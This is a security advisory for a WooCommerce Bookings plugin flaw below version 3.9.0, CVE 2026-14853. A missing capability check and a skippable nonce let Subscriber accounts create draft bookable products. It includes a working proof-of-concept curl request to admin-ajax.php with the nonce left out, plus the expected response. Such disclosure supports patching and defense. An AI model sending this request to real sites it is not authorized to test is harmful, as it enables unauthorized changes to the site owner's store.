WooCommerce Bookings < 3.9.0 – Subscriber+ Draft Bookable Product Creation via Missing Authorization | CVE 2026-14853

Description

The plugin does not perform a capability check on one of its AJAX actions, and its nonce check can be bypassed by omitting the token, allowing users with Subscriber-level access and above to create draft bookable products.

Proof of Concept

Prerequisites: WooCommerce and WooCommerce Bookings active. Any Subscriber-level account.

1. Log in as a Subscriber and keep the wordpress_logged_in_* cookie.
2. POST to admin-ajax.php WITHOUT the "security" nonce parameter:

   curl -s -b subscriber_cookies.txt -X POST "https://victim.example/wp-admin/admin-ajax.php" \
     --data "action=wc_bookings_get_product_template&index=0&slug=tutoring"

   Response: {"success":true,"data":""}

3. A draft bookable product ("Tutoring", index 0) is created, authored by the Subscriber. Verify as an administrator under Products > Draft. Other index/slug pairs (e.g. index=2 slug=equipment-rental) create products that also carry resources and person types.